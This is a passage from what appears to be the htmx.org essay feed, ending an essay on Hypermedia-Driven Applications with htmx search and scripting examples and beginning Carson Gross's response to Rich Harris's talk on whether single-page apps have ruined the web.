&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;img &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;img&#x2F;bars.svg&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;alt&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt; Searching... 
&lt;&#x2F;span&gt;&lt;span&gt;   &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;span&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; 
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h3&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;form-control&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;search&amp;quot; 
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;search&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;placeholder&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Begin Typing To Search Users...&amp;quot; 
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-post&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;search&amp;quot; 
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-trigger&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;keyup changed delay:500ms, search&amp;quot; 
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;#search-results&amp;quot; 
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-indicator&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;.htmx-indicator&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;table&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;thead&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;First Name&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Last Name&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Email&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;thead&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tbody &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;search-results&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tbody&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is a UX pattern that would typically be associated with an SPA: as the user types, after a slight pause, search
results will populate the result table below.  However, in this case, it is being achieved entirely within HTML,
in a manner consonant with HTML.&lt;&#x2F;p&gt;
&lt;p&gt;This example effectively demonstrates the essential characteristic of an HDA:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The front end of the feature is specified entirely in  declarative htmx attributes, directly in HTML&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;The interaction with the server is done via HTTP and HTML: an HTTP &lt;code&gt;POST&lt;&#x2F;code&gt; request is sent to the server, HTML is
returned by the server and htmx inserts this HTML into the DOM&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;scripting-in-an-hda&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#scripting-in-an-hda&quot; aria-label=&quot;Anchor link for: scripting-in-an-hda&quot;&gt;Scripting In An HDA&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_7&quot;&gt;Code-On-Demand&lt;&#x2F;a&gt; is an optional
constraint of the original REST-ful architecture of the web.&lt;&#x2F;p&gt;
&lt;p&gt;Similarly, the HDA architecture has a final, optional constraint:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Code-On-Demand (i.e. scripting) should, as much as is practical, be done &lt;em&gt;directly in&lt;&#x2F;em&gt; the primary hypermedia&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This addresses the concern regarding Code-On-Demand that Roy Fielding mentions in his thesis:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;However, (Code-On-Demand) also reduces visibility, and thus is only an optional constraint within REST.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;By embedding Code-On-Demand (scripts) directly in HTML, visibility is enhanced, satisfying the
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;Locality of Behavior&lt;&#x2F;a&gt; software design principle.&lt;&#x2F;p&gt;
&lt;p&gt;Three approaches to scripting that satisfy this third constraint are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt;,
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&quot;&gt;AlpineJS&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;vanilla-js.com&#x2F;&quot;&gt;VanillaJS&lt;&#x2F;a&gt; (when embedded directly on HTML elements).&lt;&#x2F;p&gt;
&lt;p&gt;Here is an example of each of these approaches:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- hyperscript --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;on click toggle .red-border&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  Toggle Class
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- Alpine JS --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;@click&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;open = !open&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;:class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{&amp;#39;red-border&amp;#39; : open, &amp;#39;&amp;#39; : !open}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  Toggle Class
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- VanillaJS --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;onclick&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;.classList.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;toggle&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;red-border&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  Toggle Class
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In an HDA, hypermedia (HTML) is the primary medium for building the application, which means that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;All communication with the server is still managed via HTTP requests with hypermedia (HTML) responses&lt;&#x2F;li&gt;
&lt;li&gt;Scripting is used mainly to enhance the &lt;em&gt;front-end experience&lt;&#x2F;em&gt; of the application&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Scripting augments the existing hypermedia (HTML) but does not &lt;em&gt;supersede&lt;&#x2F;em&gt; it or subvert the fundamental REST-ful
architecture of the HDA.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hda-style-libraries&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hda-style-libraries&quot; aria-label=&quot;Anchor link for: hda-style-libraries&quot;&gt;HDA-style libraries&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The following libraries allow developers to create HDAs:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&quot;&gt;https:&#x2F;&#x2F;htmx.org&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unpoly.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;unpoly.com&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;piranha.github.io&#x2F;twinspark-js&#x2F;&quot;&gt;https:&#x2F;&#x2F;piranha.github.io&#x2F;twinspark-js&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hotwire.dev&quot;&gt;https:&#x2F;&#x2F;hotwire.dev&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperview.org&#x2F;&quot;&gt;https:&#x2F;&#x2F;hyperview.org&#x2F;&lt;&#x2F;a&gt; (a mobile hypermedia!)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The following scripting libraries, when used appropriately, complement the HDA approach:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;https:&#x2F;&#x2F;hyperscript.org&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&quot;&gt;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;vanilla-js.com&#x2F;&quot;&gt;http:&#x2F;&#x2F;vanilla-js.com&#x2F;&lt;&#x2F;a&gt; (embedded directly in HTML)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The HDA architecture is a synthesis of two preceding architectures: the original Multi-Page Application (MPA) architecture
and the (relatively) newer Single-Page Application architecture.&lt;&#x2F;p&gt;
&lt;p&gt;It attempts to capture the advantages of both: the simplicity and reliability of MPAs, with a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Glossary&#x2F;REST&quot;&gt;REST-ful Architecture&lt;&#x2F;a&gt; that uses
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;Hypermedia As The Engine Of Application State&lt;&#x2F;a&gt;, while providing a better user experience, on par
with SPAs in many cases.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>A Response To &amp;quot;Have Single-Page Apps Ruined the Web?&amp;quot;</title>
        <published>2021-12-24T00:00:00+00:00</published>
        <updated>2022-05-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/a-response-to-rich-harris/"/>
        <id>https://htmx.org/essays/a-response-to-rich-harris/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/a-response-to-rich-harris/">&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;rich_harris&quot;&gt;Rich Harris&lt;&#x2F;a&gt; is a well-known web developer who works on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;svelte.dev&#x2F;&quot;&gt;Svelte.js&lt;&#x2F;a&gt;, a novel
Single-Page Application (SPA) framework.&lt;&#x2F;p&gt;
&lt;p&gt;In October of 2021 he gave a talk at JamStack entitled &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=860d8usGC0o&quot;&gt;“Have Single-Page Apps Ruined the Web?”&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We have been asked for our opinion on the talk, so this essay is our response.&lt;&#x2F;p&gt;
&lt;p&gt;The first thing to say about the talk is that it is very well done: well produced, thoughtful, funny, fair to both sides of the debate
and very reasonable throughout.  We don’t agree with a lot that Mr. Harris has to say, as we will detail below, but we respect
and appreciate his opinions as well as the technologies he works on.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;problems-with-spas&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#problems-with-spas&quot; aria-label=&quot;Anchor link for: problems-with-spas&quot;&gt;Problems with SPAs&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The talk begins with some reasonable criticisms of SPAs, particularly focusing on usability issues found
with Instagram, a canonical SPA implementation from our friends at Facebook.  He takes a very fair look at
the drawbacks to SPAs, including but not limited to the following list:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;You will need a bloated JS framework&lt;&#x2F;li&gt;
&lt;li&gt;Performance will suffer&lt;&#x2F;li&gt;
&lt;li&gt;It will be buggy&lt;&#x2F;li&gt;
&lt;li&gt;There will be accessibility issues&lt;&#x2F;li&gt;
&lt;li&gt;The tooling is complicated&lt;&#x2F;li&gt;
&lt;li&gt;It will be less resilient&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;After considering the usability issues with Instagram, Mr. Harris has this to say:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Come on people.  If the best front end engineers in the world can’t make
text and images work without five megabytes of javascript, then  maybe
we should just give up on the web platform.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Here we find ourselves in violent agreement with Mr. Harris, with the caveat that we would substitute “the &lt;em&gt;javascript&lt;&#x2F;em&gt; web platform”
for just “the web platform”, since that is what is in play with Instagram.&lt;&#x2F;p&gt;
&lt;p&gt;We would further clarify that SPA applications and frameworks often simply &lt;em&gt;ignore&lt;&#x2F;em&gt; the &lt;em&gt;actual&lt;&#x2F;em&gt; web platform, that is,
the original, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;rest-explained&#x2F;&quot;&gt;REST-ful model&lt;&#x2F;a&gt; of the web, except as a bootstrap mechanism.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;problems-with-mpas&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#problems-with-mpas&quot; aria-label=&quot;Anchor link for: problems-with-mpas&quot;&gt;Problems with MPAs&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Mr. Harris then moves on to problems with Multi-Page Applications (MPAs) which are the “traditional”,
click-a-link-load-a-page-of-HTML web applications we are all familiar with and that are, to an extent,
being supplanted by SPAs.&lt;&#x2F;p&gt;
&lt;p&gt;Below, we will go through the various problems he outlines, all of which are true of “standard” MPAs,
and we will demonstrate how an MPA using a hypermedia-oriented technology, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt;, can solve each of them.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;you-can-t-keep-a-video-running-on-navigations&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#you-can-t-keep-a-video-running-on-navigations&quot; aria-label=&quot;Anchor link for: you-can-t-keep-a-video-running-on-navigations&quot;&gt;“You Can’t Keep A Video Running On Navigations”&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A general problem with standard MPAs is that they issue a full page refresh on
every request.  This means something like a video or audio player will be replaced and, thus, stop playing, when a request is made.&lt;&#x2F;p&gt;
&lt;p&gt;This problem can be addressed in htmx via the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;attributes&#x2F;hx-preserve&#x2F;&quot;&gt;&lt;code&gt;hx-preserve&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; attribute, which tells htmx to
preserve a particular piece of content between requests.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;back-button-infinite-scroll-don-t-work&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#back-button-infinite-scroll-don-t-work&quot; aria-label=&quot;Anchor link for: back-button-infinite-scroll-don-t-work&quot;&gt;“Back Button &amp;amp; Infinite Scroll Don’t Work”&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In the presence of infinite scroll behavior (presumably implemented via javascript of some sort) the back button will not work properly with an MPA.  I would note that the presence of infinite scroll calls into question the term MPA, which would traditionally use paging instead of an infinite scroll.&lt;&#x2F;p&gt;
&lt;p&gt;That said, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;infinite-scroll&#x2F;&quot;&gt;infinite scroll&lt;&#x2F;a&gt; can be achieved quite easily using htmx, in a hypermedia-oriented and obvious manner.  When combined with the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;attributes&#x2F;hx-push-url&#x2F;&quot;&gt;&lt;code&gt;hx-push-url&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; attribute, history and the back button works properly with very little effort by the developer, all with nice Copy-and-Pasteable URLs, sometimes referred to as “Deep Links” by people in the SPA community.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-about-nice-navigation-transitions&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#what-about-nice-navigation-transitions&quot; aria-label=&quot;Anchor link for: what-about-nice-navigation-transitions&quot;&gt;“What about Nice Navigation Transitions?”&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Nice transitions are, well, nice.  We think that designers tend to over-estimate their contribution to application usability, however.  Yes, the demo sizzles, but on the 20th click users often just want the UI to get on with it.&lt;&#x2F;p&gt;
&lt;p&gt;That being said, htmx supports using &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;animations&#x2F;&quot;&gt;standard CSS transitions&lt;&#x2F;a&gt; to make animations possible.  Obviously there is a limit to what you can achieve with these pure CSS techniques, but we believe this can give you the 80 of an 80&#x2F;20 situation.  (Or, perhaps, the 95 of a 95&#x2F;5 situation.)&lt;&#x2F;p&gt;
&lt;h3 id=&quot;multipage-apps-load-javascript-libraries-every-request&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#multipage-apps-load-javascript-libraries-every-request&quot; aria-label=&quot;Anchor link for: multipage-apps-load-javascript-libraries-every-request&quot;&gt;“Multipage Apps Load Javascript Libraries Every Request”&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Mr. Harris focuses heavily on “crappy Ad Tech” as a culprit for web usability issues on the web, and who can defend the 2.5MB payload of tracking, spyware and adware that most websites deliver to their users today?  Mr. Harris points out that SPAs ameliorate this issue by loading up this bundle of garbage once, rather than over and over on every request, as an MPA does.&lt;&#x2F;p&gt;
&lt;p&gt;Now, a vanilla MPA would typically have said garbage cached after the first request, so the download cost, at least, is about the same as with SPAs.  But an MPA must &lt;em&gt;execute&lt;&#x2F;em&gt; the bundle of garbage again on each page, which does burn CPU and can lead to poor user experience.&lt;&#x2F;p&gt;
&lt;p&gt;However, an MPA powered by htmx, we note, has exactly the same characteristics as an SPA: the ad garbage would be downloaded and executed once on the first request, and, after that, all requests will be relatively light-weight replacements of DOM elements.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mpas-have-network-latency-issues&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#mpas-have-network-latency-issues&quot; aria-label=&quot;Anchor link for: mpas-have-network-latency-issues&quot;&gt;“MPAs Have Network Latency Issues”&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;This is a valid point: with an MPA-style application your UI interactions are gated by how fast your server can respond to requests, its latency.  Part of that is network latency, which is hard to overcome without giving up one of the tremendously simplifying aspects of traditional web applications: a centralized data store.  However, networks are fast and are getting faster, and there are well-known techniques for optimizing &lt;em&gt;server&lt;&#x2F;em&gt; latency (i.e. how fast your server returns a response), developed over decades, for monitoring and optimizing this response time.  SQL tuning, Redis caching and so on, all well established and making sub-100ms responses a reasonable goal.  Many htmx users remark just how fast htmx-based applications feel, but we won’t pretend that latency isn’t an issue to be considered.&lt;&#x2F;p&gt;
&lt;p&gt;Of course the problem with latency issues is that they can make an app feel laggy.  But, like you, we have worked with plenty of laggy SPAs, so we must say the problem isn’t neatly solved by simply adopting SPA frameworks.  On top of that, optimistically synchronizing data with a server can lead to extremely difficult to understand data consistency issues as well as a significant increase in overall application complexity, a topic we will return to later.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;github-has-ui-bugs&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#github-has-ui-bugs&quot; aria-label=&quot;Anchor link for: github-has-ui-bugs&quot;&gt;“GitHub Has UI Bugs”&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;GitHub does, indeed, have UI bugs.  However, none of them are particularly difficult to solve.&lt;&#x2F;p&gt;
&lt;p&gt;htmx offers multiple ways to &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;update-other-content&#x2F;&quot;&gt;update content beyond the target element&lt;&#x2F;a&gt;, all of them quite easy and any of which would work to solve the UI consistency issues Mr. Harris points out.&lt;&#x2F;p&gt;
&lt;p&gt;Contrast the GitHub UI issues with the Instagram UI issues Mr. Harris pointed out earlier: the Instagram issues would
require far more sophisticated engineering work to resolve.&lt;&#x2F;p&gt;
